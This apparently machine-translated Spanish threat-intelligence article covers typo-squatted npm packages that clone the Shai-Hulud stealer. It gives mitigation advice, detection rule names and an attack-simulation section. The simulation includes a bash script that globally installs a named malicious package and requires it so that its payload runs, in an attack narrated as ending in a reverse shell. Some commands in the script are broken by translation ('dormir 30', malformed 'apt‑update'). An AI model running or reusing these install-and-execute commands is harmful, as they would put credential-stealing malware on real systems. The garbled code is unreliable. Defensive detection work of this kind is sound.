Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Investigadores descubrieron cuatro paquetes maliciosos de npm que combinan funcionalidad de robo de información con capacidades de denegación de servicio distribuida. Estos paquetes se hacen pasar por bibliotecas populares mediante typo-squatting e incluyen el código de código abierto Shai-Hulud modificado para usar servidores de comando y control controlados por el atacante. Instalar alguno de los paquetes puede resultar en el robo de credenciales, exfiltración de secretos en la nube, y en un caso, el enrolamiento del host infectado en una botnet de DDoS. Los hallazgos subrayan el creciente riesgo en la cadena de suministro dentro del ecosistema npm.
Investigación
Los analistas compararon el paquete chalk-tempalte con el código fuente filtrado de Shai-Hulud y lo encontraron como una copia casi exacta y sin ofuscar configurada con un punto de comando y control personalizado. Los paquetes restantes transmitieron datos robados a dominios maliciosos separados o a una dirección IP a través del puerto 2222, mientras que una variante también desplegó un servicio de bot local basado en Go utilizado para actividad DDoS. Los cuatro paquetes fueron publicados por la misma cuenta de npm, fortaleciendo el vínculo entre ellos.
Mitigación
Las organizaciones deben eliminar de inmediato los paquetes maliciosos de cualquier proyecto y eliminar los artefactos de configuración asociados de los entornos de desarrollo y los sistemas de construcción. Todas las credenciales que puedan haber sido expuestas deben rotarse, y el acceso a la red a los dominios maliciosos identificados y la dirección IP debe bloquearse. Los equipos también deben monitorear las dependencias de npm para detectar paquetes typo-squatted que imitan las mismas bibliotecas legítimas.
Respuesta
Los defensores deben crear detecciones para conexiones salientes a los dominios de comando y control identificados y dirección IP, alertar sobre la instalación de los cuatro nombres de paquetes maliciosos, y escanear sistemas en busca de la clave pública incrustada vinculada al malware. Cualquier sistema que haya instalado uno de los paquetes debe someterse a una revisión forense para determinar si se desplegaron servicios persistentes, tareas programadas o cargas adicionales.
Flujo de Ataque
Detecciones
Descarga de Ejecutable Sospechoso (a través de proxy)
Ver
Posible Archivo de Configuración de Tareas Automáticas de Vscode Creado en Directorio Inusual [MACOS] (a través de file_event)
Ver
Carga/Descarga Remota de Archivos a través de Herramientas Estándar (a través de cmdline)
Ver
Posible Archivo de Configuración de Tareas Automáticas de Vscode Creado en Directorio Inusual [LINUX] (a través de file_event)
Ver
Archivo Oculto fue Creado en Host Linux (a través de file_event)
Ver
Posibles Puntos de Persistencia [ASEPs – Hive Software/NTUSER] (a través de registry_event)
Ver
Uso Posible de Schtasks o AT para Persistencia (a través de cmdline)
Ver
Posibles Puntos de Persistencia [ASEPs – Hive Software/NTUSER] (a través de cmdline)
Ver
Binarios/Scripts Sospechosos en Ubicación de Inicio Automático (a través de file_event)
Ver
Posible Intento de Comunicaciones de Dominio de Búsqueda de IP (a través de dns)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (a través de dns)
Ver
Uso Posible de Crontab para Ejecución Directa (a través de cmdline)
Ver
IOCs (SourceIP) para detectar: Nuevos Actores Despliegan Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí
Ver
IOCs (DestinationIP) para detectar: Nuevos Actores Despliegan Clones de Shai-Hulud: Los Imitadores de TeamPCP Están Aquí
Ver
Detección de Conexiones de Red Salientes a Servidores C2 de Shai-Hulud [Firewall]
Ver
Detección de Ejecución de Paquete npm Malicioso [Creación de Proceso en Windows]
Ver
Detección de Ejecución de Paquete npm Malicioso [Creación de Proceso en Linux]
Ver
Ejecución de Simulación
Requisito previo: La Comprobación Previa de Telemetría & Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
- Reconocimiento Inicial (opcional): El atacante enumera el entorno Node.js de la víctima para confirmar
npmestá presente. - Adquisición de Paquete Malicioso: El atacante descarga un paquete npm malicioso que imita una utilidad legítima (por ejemplo,
@deadcode09284814/axios-util). - Instalación y Ejecución: Usando una sola línea, el atacante instala el paquete a nivel global e inmediatamente ejecuta una carga útil de JavaScript que abre un shell inverso.
- Persistencia (fuera del alcance): El atacante podría agregar el paquete malicioso a
package.jsonpara uso futuro.
- Reconocimiento Inicial (opcional): El atacante enumera el entorno Node.js de la víctima para confirmar
-
Script de Prueba de Regresión: El script reproduce exactamente los pasos 2‑3, generando las cadenas de línea de comandos que el regla Sigma coincide.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Asegúrese de que el tiempo de ejecución de Node.js esté presente if ! command -v node >/dev/null 2>&1; then echo "[*] Instalando Node.js y npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Instalar el paquete npm malicioso (simulado) # (Reemplace con un paquete malicioso real en una prueba real) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] Instalando paquete malicioso: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ Ejecutar una carga útil que el paquete trae # Aquí simplemente requerimos el paquete; el script postinstalación del paquete # ejecutará el código del atacante. echo "[*] Activando carga útil maliciosa" node -e "require('$MALICIOUS_PKG');" # 4️⃣ Opcional: Mantener el shell vivo para observación dormir 30 echo "[*] Prueba completada" # ------------------------------------------------- -
Comandos de Limpieza: Eliminar el paquete malicioso y cualquier archivo generado.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Eliminando el paquete npm malicioso" npm uninstall -g "@deadcode09284814/axios-util" || true # Eliminar cualquier node_modules residual del directorio de inicio rm -rf "$HOME/.npm/_cacache" echo "[*] Limpieza completa" # -------------------------------------------------